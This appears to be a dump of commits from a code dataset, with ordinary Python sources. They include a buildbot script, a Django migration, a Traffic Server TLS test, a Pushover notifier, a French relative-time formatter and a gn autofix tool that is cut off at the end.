source_file.write(' do j'+c+' = 1,dim'+c+'\n') source_file.write(' do j'+d+' = 1,dim'+d+'\n') source_file.write(' do j'+e+' = 1,dim'+e+'\n') source_file.write(' do j'+f+' = 1,dim'+f+'\n') source_file.write(' old_offset = j4+dim4*(j5-1+dim5*(j4-1+dim4*(j3-1+dim3*(j2-1+dim2*(j1-1)))\n') source_file.write(' new_offset = j'+F+'+dim'+F+'*(j'+E+'-1+dim'+E+'*(j'+D+'-1+dim'+D+'*(j'+C+'-1+dim'+C+'*(j'+B+'-1+dim'+B+'*(j'+A+'-1)))\n') source_file.write(' sorted(new_offset) = unsorted(old_offset) * factor\n') source_file.write(' enddo\n') source_file.write(' enddo\n') source_file.write(' enddo\n') source_file.write(' enddo\n') source_file.write(' enddo\n') source_file.write(' enddo\n') source_file.write(' return\n') source_file.write(' end\n') source_file.close() os.system(fortran_compiler+' '+fortran_opt_flags+' '+source_name) os.system('ar -r tce_sort_jeff.a '+subroutine_name+'.o') os.system('rm '+subroutine_name+'.o') os.system('mv '+subroutine_name+'.F '+src_dir) #os.system('mv '+subroutine_name+'.lst '+lst_dir)
Python
0.999998
f3cab8d72b9a070305f4f2c44922e381ea091205
add context manager example
examples/context_manager.py
examples/context_manager.py
# -*- coding: utf-8 -*- import riprova # Store number of function calls for error simulation calls = 0 # Register retriable operation with custom evaluator def mul2(x): global calls if calls < 4: calls += 1 raise RuntimeError('simulated call error') return x * 2 # Run task via context manager with riprova.Retrier() as retry: result = retry.run(mul2, 2) print('Result 1: {}'.format(result)) # Or alternatively create a shared retrier and reuse it across multiple # context managers. retrier = riprova.Retrier() with retrier as retry: calls = 0 result = retry.run(mul2, 4) print('Result 2: {}'.format(result)) with retrier as retry: calls = 0 result = retry.run(mul2, 8) print('Result 3: {}'.format(result))
Python
0.000063
24cf3c2676e4ea7342e95e6a37857c6fa687865e
Remove managers for article obj.
src/submission/migrations/0058_auto_20210812_1254.py
src/submission/migrations/0058_auto_20210812_1254.py
# -*- coding: utf-8 -*- # Generated by Django 1.11.29 on 2021-08-12 12:54 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('submission', '0057_merge_20210811_1506'), ] operations = [ migrations.AlterModelManagers( name='article', managers=[ ], ), ]
Python
0
9687ca646dd7ae5a7ff31e5b8657fb1ab88a0f5e
add buildbot
buildbot.py
buildbot.py
#!/usr/bin/env python # encoding: utf-8 import sys import json import subprocess project_name = 'bourne' def run_command(args): print("Running: {}".format(args)) # sys.stdout.flush() # subprocess.check_call(args) def get_tool_options(properties): options = [] if 'tool_options' in properties: # Make sure that the values are correctly comma separated for key, value in properties['tool_options'].items(): if value is None: options += ['--{0}'.format(key)] else: options += ['--{0}={1}'.format(key, value)] return options def configure(properties): command = [sys.executable, 'waf'] if properties.get('build_distclean'): command += ['distclean'] command += ['configure', '--git-protocol=git@'] if 'waf_bundle_path' in properties: command += ['--bundle-path=' + properties['waf_bundle_path']] if 'dependency_project' in properties: command += ['--{0}-use-checkout={1}'.format( properties['dependency_project'], properties['dependency_checkout'])] command += ["--cxx_mkspec={}".format(properties['cxx_mkspec'])] command += get_tool_options(properties) run_command(command) def build(properties): command = [sys.executable, 'waf', 'build', '-v'] run_command(command) def run_tests(properties): command = [sys.executable, 'waf', '-v', '--run_tests'] run_cmd = '%s' if properties.get('valgrind_run'): run_cmd = 'valgrind --error-exitcode=1 %s --profile=embedded' if run_cmd: command += ["--run_cmd={}".format(run_cmd)] command += get_tool_options(properties) run_command(command) def install(properties): command = [sys.executable, 'waf', '-v', 'install'] if 'install_path' in properties: command += ['--install_path={0}'.format(properties['install_path'])] if properties.get('install_relative'): command += ['--install_relative'] run_command(command) def coverage_settings(options): options['required_line_coverage'] = 0.0 def main(): argv = sys.argv if len(argv) != 3: print("Usage: {} <command> <properties>".format(argv[0])) sys.exit(0) cmd = argv[1] properties = json.loads(argv[2]) if cmd == 'configure': configure(properties) elif cmd == 'build': build(properties) elif cmd == 'run_tests': run_tests(properties) elif cmd == 'install': install(properties) else: print("Unknown command: {}".format(cmd)) if __name__ == '__main__': main()
Python
0.000001
0f6866a91e4d8af2faedf2af277ad0df573536aa
Set win_delay_load_hook to false
binding.gyp
binding.gyp
{ 'target_defaults': { 'win_delay_load_hook': 'false', 'conditions': [ ['OS=="win"', { 'msvs_disabled_warnings': [ 4530, # C++ exception handler used, but unwind semantics are not enabled 4506, # no definition for inline function ], }], ], }, 'targets': [ { 'target_name': 'runas', 'sources': [ 'src/main.cc', ], 'include_dirs': [ '<!(node -e "require(\'nan\')")' ], 'conditions': [ ['OS=="win"', { 'sources': [ 'src/runas_win.cc', ], 'libraries': [ '-lole32.lib', '-lshell32.lib', ], }], ['OS=="mac"', { 'sources': [ 'src/runas_darwin.cc', 'src/fork.cc', 'src/fork.h', ], 'libraries': [ '$(SDKROOT)/System/Library/Frameworks/Security.framework', ], }], ['OS not in ["mac", "win"]', { 'sources': [ 'src/runas_posix.cc', 'src/fork.cc', 'src/fork.h', ], }], ], } ] }
{ 'target_defaults': { 'conditions': [ ['OS=="win"', { 'msvs_disabled_warnings': [ 4530, # C++ exception handler used, but unwind semantics are not enabled 4506, # no definition for inline function ], }], ], }, 'targets': [ { 'target_name': 'runas', 'sources': [ 'src/main.cc', ], 'include_dirs': [ '<!(node -e "require(\'nan\')")' ], 'conditions': [ ['OS=="win"', { 'sources': [ 'src/runas_win.cc', ], 'libraries': [ '-lole32.lib', '-lshell32.lib', ], }], ['OS=="mac"', { 'sources': [ 'src/runas_darwin.cc', 'src/fork.cc', 'src/fork.h', ], 'libraries': [ '$(SDKROOT)/System/Library/Frameworks/Security.framework', ], }], ['OS not in ["mac", "win"]', { 'sources': [ 'src/runas_posix.cc', 'src/fork.cc', 'src/fork.h', ], }], ], } ] }
Python
0.999875
0d6da71cb759c3819133baa3d7c043fb92df425e
Create weibo.py
2/weibo.py
2/weibo.py
from bs4 import BeautifulSoup import json import ConfigParser import urllib2 from util import get_content link_id = 18 cf = ConfigParser.ConfigParser() cf.read("config.ini") weiyinUrl = 'http://wb.weiyin.cc/Book/BookView/W440164363452#' + str(link_id) content = urllib2.urlopen(weiyinUrl) html = content.read() soup = BeautifulSoup(html) weibo = soup.find("div",attrs="head_title").find("p").text print html print weibo
Python
0.000001
666caee40af2dccc30e78d52f8de962110408146
Add fan device
xknx/devices/fan.py
xknx/devices/fan.py
""" Module for managing a fan via KNX. It provides functionality for * setting fan to specific speed * reading the current speed from KNX bus. """ import asyncio from .device import Device from .remote_value_scaling import RemoteValueScaling class Fan(Device): """Class for managing a fan.""" # pylint: disable=too-many-instance-attributes # pylint: disable=too-many-public-methods def __init__(self, xknx, name, group_address_speed=None, group_address_speed_state=None, device_updated_cb=None): """Initialize fan class.""" # pylint: disable=too-many-arguments Device.__init__(self, xknx, name, device_updated_cb) self.speed = RemoteValueScaling( xknx, group_address_speed, group_address_speed_state, device_name=self.name, after_update_cb=self.after_update, range_from=0, range_to=100) @classmethod def from_config(cls, xknx, name, config): """Initialize object from configuration structure.""" group_address_speed = \ config.get('group_address_speed') group_address_speed_state = \ config.get('group_address_speed_state') return cls( xknx, name, group_address_speed=group_address_speed, group_address_speed_state=group_address_speed_state) def has_group_address(self, group_address): """Test if device has given group address.""" return self.speed.has_group_address(group_address) def __str__(self): """Return object as readable string.""" return '<Fan name="{0}" ' \ 'speed="{1}" />' \ .format( self.name, self.speed.group_addr_str()) @asyncio.coroutine def set_speed(self, speed): """Sets the fan to a desginated speed.""" yield from self.speed.set(speed) @asyncio.coroutine def do(self, action): """Execute 'do' commands.""" if action.startswith("speed:"): yield from self.set_speed(int(action[11:])) else: self.xknx.logger.warning("Could not understand action %s for device %s", action, self.get_name()) def state_addresses(self): """Return group addresses which should be requested to sync state.""" state_addresses = [] state_addresses.extend(self.speed.state_addresses()) return state_addresses async def process_group_write(self, telegram): """Process incoming GROUP WRITE telegram.""" await self.speed.process(telegram) def current_speed(self): """Return current speed of fan.""" return self.speed.value def __eq__(self, other): """Equal operator.""" return self.__dict__ == other.__dict__
Python
0
539a579b380362b398b41c13f335c89af2946e84
Add verify_server test without pristine header.
tests/gold_tests/tls/tls_verify_not_pristine.test.py
tests/gold_tests/tls/tls_verify_not_pristine.test.py
''' ''' # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os Test.Summary = ''' Test tls server certificate verification without a pristine host header ''' # need Curl Test.SkipUnless( Condition.HasProgram("curl", "Curl need to be installed on system for this test to work") ) # Define default ATS ts = Test.MakeATSProcess("ts", select_ports=False) server_foo = Test.MakeOriginServer("server_foo", ssl=True, options = {"--key": "{0}/signed-foo.key".format(Test.RunDirectory), "--cert": "{0}/signed-foo.pem".format(Test.RunDirectory)}) server = Test.MakeOriginServer("server", ssl=True) dns = Test.MakeDNServer("dns") request_foo_header = {"headers": "GET / HTTP/1.1\r\nHost: foo.com\r\n\r\n", "timestamp": "1469733493.993", "body": ""} request_bad_foo_header = {"headers": "GET / HTTP/1.1\r\nHost: badfoo.com\r\n\r\n", "timestamp": "1469733493.993", "body": ""} response_header = {"headers": "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n", "timestamp": "1469733493.993", "body": ""} server_foo.addResponse("sessionlog.json", request_foo_header, response_header) server_foo.addResponse("sessionlog.json", request_bad_foo_header, response_header) # add ssl materials like key, certificates for the server ts.addSSLfile("ssl/signed-foo.pem") ts.addSSLfile("ssl/signed-foo.key") ts.addSSLfile("ssl/signed-bar.pem") ts.addSSLfile("ssl/signed-bar.key") ts.addSSLfile("ssl/server.pem") ts.addSSLfile("ssl/server.key") ts.addSSLfile("ssl/signer.pem") ts.addSSLfile("ssl/signer.key") ts.Variables.ssl_port = 4443 ts.Disk.remap_config.AddLine( 'map https://bar.com:{0}/ https://foo.com:{1}'.format(ts.Variables.ssl_port, server_foo.Variables.Port)) ts.Disk.remap_config.AddLine( 'map https://foo.com:{0}/ https://bar.com:{1}'.format(ts.Variables.ssl_port, server_foo.Variables.Port)) ts.Disk.ssl_multicert_config.AddLine( 'dest_ip=* ssl_cert_name=server.pem ssl_key_name=server.key' ) # Case 1, global config policy=permissive properties=signature # override for foo.com policy=enforced properties=all ts.Disk.records_config.update({ 'proxy.config.diags.debug.enabled': 0, 'proxy.config.diags.debug.tags': 'http|ssl|dns|hostdb', 'proxy.config.ssl.server.cert.path': '{0}'.format(ts.Variables.SSLDir), 'proxy.config.ssl.server.private_key.path': '{0}'.format(ts.Variables.SSLDir), # enable ssl port 'proxy.config.http.server_ports': '{0} {1}:proto=http2;http:ssl'.format(ts.Variables.port, ts.Variables.ssl_port), 'proxy.config.ssl.server.cipher_suite': 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:AES128-GCM-SHA256:AES256-GCM-SHA384:ECDHE-RSA-RC4-SHA:ECDHE-RSA-AES128-SHA:ECDHE-RSA-AES256-SHA:RC4-SHA:RC4-MD5:AES128-SHA:AES256-SHA:DES-CBC3-SHA!SRP:!DSS:!PSK:!aNULL:!eNULL:!SSLv2', # set global policy 'proxy.config.ssl.client.verify.server.policy': 'ENFORCED', 'proxy.config.ssl.client.verify.server.properties': 'ALL', 'proxy.config.ssl.client.CA.cert.path': '{0}'.format(ts.Variables.SSLDir), 'proxy.config.ssl.client.CA.cert.filename': 'signer.pem', 'proxy.config.url_remap.pristine_host_hdr': 0, 'proxy.config.dns.nameservers': '127.0.0.1:{0}'.format(dns.Variables.Port), 'proxy.config.dns.resolv_conf': 'NULL' }) dns.addRecords(records={"foo.com.": ["127.0.0.1"]}) dns.addRecords(records={"bar.com.": ["127.0.0.1"]}) # bar.com in. foo.com out. Should verify tr = Test.AddTestRun("Enforced-Good-Test") tr.Setup.Copy("ssl/signed-foo.key") tr.Setup.Copy("ssl/signed-foo.pem") tr.Setup.Copy("ssl/signed-bar.key") tr.Setup.Copy("ssl/signed-bar.pem") tr.Processes.Default.Command = "curl -v --resolve 'bar.com:{0}:127.0.0.1' -k https://bar.com:{0}".format(ts.Variables.ssl_port) tr.ReturnCode = 0 # time delay as proxy.config.http.wait_for_cache could be broken tr.Processes.Default.StartBefore(server_foo) tr.Processes.Default.StartBefore(dns) tr.Processes.Default.StartBefore(Test.Processes.ts, ready=When.PortOpen(ts.Variables.ssl_port)) tr.StillRunningAfter = server tr.StillRunningAfter = ts tr.Processes.Default.TimeOut = 5 tr.Processes.Default.Streams.stdout = Testers.ExcludesExpression("Could Not Connect", "Curl attempt should have succeeded") tr.TimeOut = 5 # foo.com in. bar.com out. Should not verify tr2 = Test.AddTestRun("Enforced-bad-test") tr2.Processes.Default.Command = "curl -v -k --resolve 'foo.com:{0}:127.0.0.1' https://foo.com:{0}".format(ts.Variables.ssl_port) tr2.ReturnCode = 0 tr2.StillRunningAfter = server tr2.Processes.Default.TimeOut = 5 tr2.StillRunningAfter = ts tr2.Processes.Default.Streams.stdout = Testers.ContainsExpression("Could Not Connect", "Curl attempt should not have succeeded") tr2.TimeOut = 5 # Over riding the built in ERROR check since we expect tr3 to fail ts.Disk.diags_log.Content = Testers.ExcludesExpression("verification failed", "Make sure the signatures didn't fail") ts.Disk.diags_log.Content += Testers.ContainsExpression("WARNING: SNI \(bar.com\) not in certificate", "Make sure bad_bar name checked failed.")
Python
0
eefa144b7a01f6beee1fcba30af32a967598d44f
add tests
tests/test_tabela_fipe.py
tests/test_tabela_fipe.py
# -*- coding: utf-8 -*- # # Copyright 2015 Alexandre Villela (SleX) <https://github.com/sxslex/sxtools/> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # # by sx.slex@gmail.com from TabelaFipe import TabelaFipe import unittest # import pprint class TestTabelaFipe(unittest.TestCase): def test_01_get_by_codefipe(self): tb = TabelaFipe() resp = tb.get_by_codefipe('006008-9') # pprint.pprint(resp) self.assertIsInstance(resp, dict) def test_02_get_by_codefipe_not_exists(self): tb = TabelaFipe() resp = tb.get_by_codefipe('111111-1') # pprint.pprint(resp) self.assertIsNone(resp)
Python
0
a467cf8e92a783112bcecc82acf7b33c31282c49
Bump to 3.2.0.rc2
cms/__init__.py
cms/__init__.py
# -*- coding: utf-8 -*- __version__ = '3.2.0.rc2' default_app_config = 'cms.apps.CMSConfig'
# -*- coding: utf-8 -*- __version__ = '3.2.0.dev4' default_app_config = 'cms.apps.CMSConfig'
Python
0.000003
de0f37bd38cba571d3a1a28f2e66d33e82ffd63c
Add pushover plugin from scottwallacesh. pull:10
flexget/plugins/output/pushover.py
flexget/plugins/output/pushover.py
import logging from flexget.plugin import register_plugin from flexget.utils.template import RenderError log = logging.getLogger("pushover") __version__ = 0.1 client_headers = {"User-Agent": "FlexGet Pushover plugin/%s" % str(__version__)} pushover_url = "https://api.pushover.net/1/messages.json" class OutputPushover(object): """ Example:: pushover: userkey: <USER_KEY> apikey: <API_KEY> [device: <DEVICE_STRING>] (default: (none)) [title: <MESSAGE_TITLE>] (default: "Download started" -- accepts Jinja) [message: <MESSAGE_BODY>] (default: "{{series_name}} {{series_id}}" -- accepts Jinja) [priority: <PRIORITY>] (default = 0 -- normal = 0, high = 1, silent = -1) [url: <URL>] (default: "{{imdb_url}}" -- accepts Jinja) Configuration parameters are also supported from entries (eg. through set). """ def validator(self): from flexget import validator config = validator.factory("dict") config.accept("text", key="userkey", required=True) config.accept("text", key="apikey", required=True) config.accept("text", key="device", required=False) config.accept("text", key="title", required=False) config.accept("text", key="message", required=False) config.accept("integer", key="priority", required=False) config.accept("url", key="url", required=False) return config def prepare_config(self, config): if isinstance(config, bool): config = {"enabled": config} # Set the defaults config.setdefault("device", None) config.setdefault("title", "Download started") config.setdefault("message", "{{series_name}} {{series_id}}") config.setdefault("priority", 0) config.setdefault("url", "{{imdb_url}}") return config def on_task_output(self, task, config): # get the parameters config = self.prepare_config(config) # Loop through the provided entries for entry in task.accepted: # Set a bunch of local variables from the config and the entry userkey = config["userkey"] apikey = config["apikey"] device = config["device"] title = config["title"] message = config["message"] priority = config["priority"] url = config["url"] # Attempt to render the title field try: title = entry.render(title) except RenderError, e: log.warning("Problem rendering 'title': %s" % e) title = "Download started" # Attempt to render the message field try: message = entry.render(message) except RenderError, e: log.warning("Problem rendering 'message': %s" % e) message = entry["title"] # Attempt to render the url field try: url = entry.render(url) except RenderError, e: log.warning("Problem rendering 'url': %s" % e) url = entry["imdb_url"] # Check for test mode if task.manager.options.test: log.info("Test mode. Pushover notification would be:") if device: log.info(" Device: %s" % device) else: log.info(" Device: [broadcast]") log.info(" Title: %s" % title) log.info(" Message: %s" % message) log.info(" URL: %s" % url) log.info(" Priority: %d" % priority) # Test mode. Skip remainder. continue # Build the request data = {"user": userkey, "token": apikey, "title": title, "message": message, "url": url} if device: data["device"] = device if priority: data["priority"] = priority # Make the request response = task.requests.post(pushover_url, headers=client_headers, data=data, raise_status=False) # Check if it succeeded request_status = response.status_code # error codes and messages from Pushover API if request_status == 200: log.debug("Pushover notification sent") elif request_status >= 400: log.error("Bad input, the parameters you provided did not validate") else: log.error("Unknown error when sending Pushover notification") register_plugin(OutputPushover, "pushover", api_ver=2)
Python
0.000004
68a7f9faf1933bb224113d9fa5d0ddd362b2e5ea
Add script to generate the site documentation containing the sizes of the binary shellcodes.
SizeDocGenerator.py
SizeDocGenerator.py
import os, re; # I got the actual size of the binary code wrong on the site once - this script should help prevent that. dsDoc_by_sArch = {"w32": "x86", "w64": "x64", "win": "x86+x64"}; with open("build_info.txt", "rb") as oFile: iBuildNumber = int(re.search(r"build number\: (\d+)", oFile.read(), re.M).group(1)); print "Sizes (build %d)" % iBuildNumber; for sArch in sorted(dsDoc_by_sArch.keys()): sDoc = dsDoc_by_sArch[sArch]; iBinSize = os.path.getsize(r"build\bin\%s-exec-calc-shellcode.bin" % sArch); iBinESPSize = os.path.getsize(r"build\bin\%s-exec-calc-shellcode-esp.bin" % sArch); print " * %s: %d bytes (%d with stack allignment)" % (sDoc, iBinSize, iBinESPSize);
Python
0
d59b7d8ea46d86169ffc9423de0a88b9c7c64774
Create BalanceData.py
Scikit/BalanceData.py
Scikit/BalanceData.py
#Copyright (c) 2016 Vidhya, Nandini import os import numpy as np import operator from constants import * FIX_DEV = 0.00000001 rootdir = os.getcwd() newdir = os.path.join(rootdir,'featurefiles') def LoadData(): data_file = open(os.path.join(newdir,'out_2.txt'),'r') unprocessed_data = data_file.readlines() labels ={} features ={} for line in unprocessed_data: feature_vector = [] split_line = line.split(' ') for element in split_line[1:-1]: feature_vector.append(float(element)) track_id = split_line[0] features[track_id] = feature_vector data_file.close() label_file = open(os.path.join(newdir,'labelout.txt'),'r') label_data = label_file.readlines() for line in label_data: split_line = line.split('\t') track_id = split_line[0] #print (track_id) if track_id in features: labels[split_line[0]] = split_line[1].split('\n')[0] label_file.close() for key in features: feature = features[key] label = labels[key] # print feature, label return features, labels def writeToFile(key,feature,fp): fp1 = open(fp,'a') line = key for s in feature: line+= " %f" %float(s) line+="\n" fp1.write(line) def BalanceData(features, labels): if not os.path.exists('train'): os.makedirs('train') traindir = os.path.join(rootdir,'train') if not os.path.exists('test'): os.makedirs('test') testdir = os.path.join(rootdir,'test') count =0 testFile = open(os.path.join(testdir,'testFile'),'w+') genreFeat={} numList ={} testFeat = {} trainFeat ={} genreTestFeat ={} for genre in genres: str1 = genre+'.txt' fout = open(os.path.join(traindir,str1),'w+') #print fout delKey =[] feature_list =[] test_list =[] subcount=0 for key in features: if labels[key] == genre: delKey.append(key) subcount=subcount+1 fout.close() count = count+ subcount numList[genre] = subcount/2 if subcount != 0: for key in delKey[:subcount/2]: trainFeat[key] = features[key] trainFeat[key].append(key) feature_list.append(trainFeat[key]) #writeToFile(key, features[key], os.path.join(traindir,str1)) genreFeat[genre] = feature_list for key in delKey[subcount/2:]: testFeat[key] = features[key] testFeat[key].append(key) test_list.append(testFeat[key]) #writeToFile(key,features[key], os.path.join(testdir,'testFile')) genreTestFeat[genre] = test_list for key in delKey: del features[key] return genreFeat, numList, count, genreTestFeat def ConvertToArrays(feats): features =[] labels = [] keys = [] for genre in feats: #print genre for f in feats[genre]: features.append(f[:-1]) keys.append(f[-1]) #print features #input("press enter") labels.append(genre) return np.asarray(features), np.asarray(labels), np.asarray(keys) def GetData(): features, labels =LoadData() genreFeat,countGenre, count, genreTestFeat = BalanceData(features, labels) train_features, train_labels, train_keys = ConvertToArrays(genreFeat) test_features, test_labels, test_keys = ConvertToArrays(genreTestFeat) return train_features, train_labels, test_features, test_labels, test_keys
Python
0.000001
45b77de143a6ffcc46091d7879da4fa3009bc3e0
add jm client
python/jm_client.py
python/jm_client.py
#!/usr/bin/python # # jm_client.py # # Author: Zex <top_zlynch@yahoo.com> # import dbus import dbus.service import dbus.mainloop.glib import gobject from basic import * def start_request(): """ Start sending requests to server """ connection = dbus.SessionBus() obj = connection.get_object( JM_SERVICE_NAME, JM_CONFIG_PATH) conf_iface = dbus.Interface(obj, JM_CONFIG_IFACE) print obj.Introspect() print conf_iface.list() start_request()
Python
0
4ea6def1bdeb332b1f530f359a333e4f95078b2b
Update docstrings and link to docs
homeassistant/components/updater.py
homeassistant/components/updater.py
""" homeassistant.components.updater ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Component that checks for available updates. For more details about this platform, please refer to the documentation at at https://home-assistant.io/components/updater/ """ import logging import requests from homeassistant.const import __version__ as CURRENT_VERSION from homeassistant.const import ATTR_FRIENDLY_NAME from homeassistant.helpers import event _LOGGER = logging.getLogger(__name__) PYPI_URL = 'https://pypi.python.org/pypi/homeassistant/json' DEPENDENCIES = [] DOMAIN = 'updater' ENTITY_ID = 'updater.updater' def setup(hass, config): """ Setup the updater component. """ def check_newest_version(_=None): """ Check if a new version is available and report if one is. """ newest = get_newest_version() if newest != CURRENT_VERSION and newest is not None: hass.states.set( ENTITY_ID, newest, {ATTR_FRIENDLY_NAME: 'Update Available'}) event.track_time_change(hass, check_newest_version, hour=[0, 12], minute=0, second=0) check_newest_version() return True def get_newest_version(): """ Get the newest Home Assistant version from PyPI. """ try: req = requests.get(PYPI_URL) return req.json()['info']['version'] except requests.RequestException: _LOGGER.exception('Could not contact PyPI to check for updates') return except ValueError: _LOGGER.exception('Received invalid response from PyPI') return except KeyError: _LOGGER.exception('Response from PyPI did not include version') return
""" homeassistant.components.sensor.updater ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sensor that checks for available updates. For more details about this platform, please refer to the documentation at at https://home-assistant.io/components/sensor.updater/ """ import logging import requests from homeassistant.const import __version__ as CURRENT_VERSION from homeassistant.const import ATTR_FRIENDLY_NAME from homeassistant.helpers import event _LOGGER = logging.getLogger(__name__) PYPI_URL = 'https://pypi.python.org/pypi/homeassistant/json' DEPENDENCIES = [] DOMAIN = 'updater' ENTITY_ID = 'updater.updater' def setup(hass, config): ''' setup the updater component ''' def check_newest_version(_=None): ''' check if a new version is available and report if one is ''' newest = get_newest_version() if newest != CURRENT_VERSION and newest is not None: hass.states.set( ENTITY_ID, newest, {ATTR_FRIENDLY_NAME: 'Update Available'}) event.track_time_change(hass, check_newest_version, hour=[0, 12], minute=0, second=0) check_newest_version() return True def get_newest_version(): ''' Get the newest HA version form PyPI ''' try: req = requests.get(PYPI_URL) return req.json()['info']['version'] except requests.RequestException: _LOGGER.exception('Could not contact PyPI to check for updates') return except ValueError: _LOGGER.exception('Received invalid response from PyPI') return except KeyError: _LOGGER.exception('Response from PyPI did not include version') return
Python
0
3c65f2c4d7e40d55f5afae22c7912bba7d3eef7b
add french version
pytimeago/french.py
pytimeago/french.py
# -*- coding: utf-8 -*- # pytimeago -- library for rendering time deltas # Copyright (C) 2006 Adomas Paltanavicius # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA """French language for pytimeago. $Id$ """ halfstr = u' et demi' pluralstr = u's' def french(delta, **kw): """French language for pytimeago. There are no keywords supported. First, load utilities for testing: >>> from test import * The function accepts delta in seconds: >>> french(0) u'\\xe0 l\'instant' >>> french(20) u'\\xe0 l\'instant' If delta falls in range 1..58 minutes, it is said so: >>> french(hours(0, 1)) u'il y a 1 minute' >>> french(hours(0, 5)) u'il y a 5 minutes' >>> french(hours(0, 58)) u'il y a 58 minutes' >>> french(hours(0, 59)) u'il y a 1 heure' If delta is less than 24 hours, it is reported in hours with half- periods: >>> french(hours(3)) u'il y a 3 heures' >>> french(hours(12, 25)) u'il y a 12 heures et demi' Next, if delta is less than 7 days, it reported just so. >>> french(days(6)) u'il y a 6 jours' And also use half-periods: >>> french(days(4) + hours(11)) u'il y a 4 jours et demi' Special case for 1 day: >>> french(days(1)) u'hier' Less than four weeks, we say so: >>> french(weeks(1)) u'il y a 1 semaine' >>> french(days(8)) u'il y a 1 semaine' >>> french(days(13)) u'il y a 2 semaines' >>> french(weeks(3)) u'il y a 3 semaines' >>> french(days(17)) u'il y a 2 semaines et demi' Less than a year, say it in months: >>> french(weeks(4)) u'il y a 1 mois' >>> french(days(40)) u'il y a 1 mois et demi' >>> french(days(29)) u'il y a 1 mois' >>> french(months(2)) u'il y a 2 mois' >>> french(months(11)) u'il y a 11 mois' >>> french(days(70)) u'il y a 2 mois et demi' We go no further than years: >>> french(years(2)) u'il y a 2 ans' >>> french(months(12)) u'il y a 1 an' """ # Now if delta < 30: return u'à l\'instant' # < 1 hour mins = delta/60 if mins < 1: mins=1 if mins < 59: plural = mins > 1 and pluralstr or u'' return u'il y a %d minute%s' % (mins, plural) # < 1 day hours, mins = divmod(mins, 60) if hours < 1: hours = 1 if hours < 23: # "half" is for 30 minutes in the middle of an hour if 15 <= mins <= 45: half = halfstr else: half = u'' if mins > 45: hours += 1 plural = hours > 1 and pluralstr or u'' return u'il y a %d heure%s%s' % (hours, plural, half) # < 7 days hours += round(mins/60.) days, hours = divmod(hours, 24) if days == 1: return u'hier' if days < 7: half = 6 <= hours <= 18 and halfstr or u'' if 6 <= hours <= 18: half = halfstr else: half = u'' if hours > 18: days += 1 plural = days > 1 and pluralstr or u'' return u'il y a %d jour%s%s' % (days, plural, half) # < 4 weeks days += round(hours/24.) weeks, wdays = divmod(days, 7) if 2 <= wdays <= 4: half = halfstr else: half = u'' if wdays > 4: weeks += 1 if weeks < 4: # So we don't get 4 weeks plural = weeks > 1 and pluralstr or u'' return u'il y a %d semaine%s%s' % (weeks, plural, half) # < year months, days = divmod(days, 30) if 10 <= days <= 20: half = halfstr else: half = u'' if days > 20: months += 1 if months < 12: return u'il y a %d mois%s' % (months, half) # Don't go further years = round(months/12.) plural = years > 1 and pluralstr or u'' return u'il y a %d an%s' % (years, plural) # Doctest if __name__ == '__main__': import doctest doctest.testmod()
Python
0.000008
01653b1130934b809816f7a5ad3c4b8c73d8d411
Add a tool to fix (some) errors reported by gn gen --check.
tools/gn_check_autofix.py
tools/gn_check_autofix.py
#!/usr/bin/env python # Copyright (c) 2016 The WebRTC project authors. All Rights Reserved. # # Use of this source code is governed by a BSD-style license # that can be found in the LICENSE file in the root of the source # tree. An additional intellectual property rights grant can be found # in the file PATENTS. All contributing project authors may # be found in the AUTHORS file in the root of the source tree. import os import re import shutil import subprocess import sys import tempfile from collections import defaultdict TARGET_RE = re.compile( r'(?P<indentation_level>\s*)\w*\("(?P<target_name>\w*)"\) {$') class TemporaryDirectory(object): def __init__(self): self._closed = False self._name = None self._name = tempfile.mkdtemp() def __enter__(self): return self._name def __exit__(self, exc, value, tb): if self._name and not self._closed: shutil.rmtree(self._name) self._closed = True def Run(cmd): print 'Running:', ' '.join(cmd) sub = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) return sub.communicate() def FixErrors(filename, missing_deps, deleted_sources): with open(filename) as f: lines = f.readlines() fixed_file = '' indentation_level = None for line in lines: match = TARGET_RE.match(line) if match: target = match.group('target_name') if target in missing_deps: indentation_level = match.group('indentation_level') elif indentation_level is not None: match = re.match(indentation_level + '}$', line) if match: line = ('deps = [\n' + ''.join(' "' + dep + '",\n' for dep in missing_deps[target]) + ']\n') + line indentation_level = None elif line.strip().startswith('deps'): is_empty_deps = line.strip() == 'deps = []' line = 'deps = [\n' if is_empty_deps else line line += ''.join(' "' + dep + '",\n' for dep in missing_deps[target]) line += ']\n' if is_empty_deps else '' indentation_level = None if line.strip() not in deleted_sources: fixed_file += line with open(filename, 'w') as f: f.write(fixed_file) Run(['gn', 'format', filename]) def Rebase(base_path, dependency_path, dependency): base_path = base_path.split(os.path.sep) dependency_path = dependency_path.split(os.path.sep) 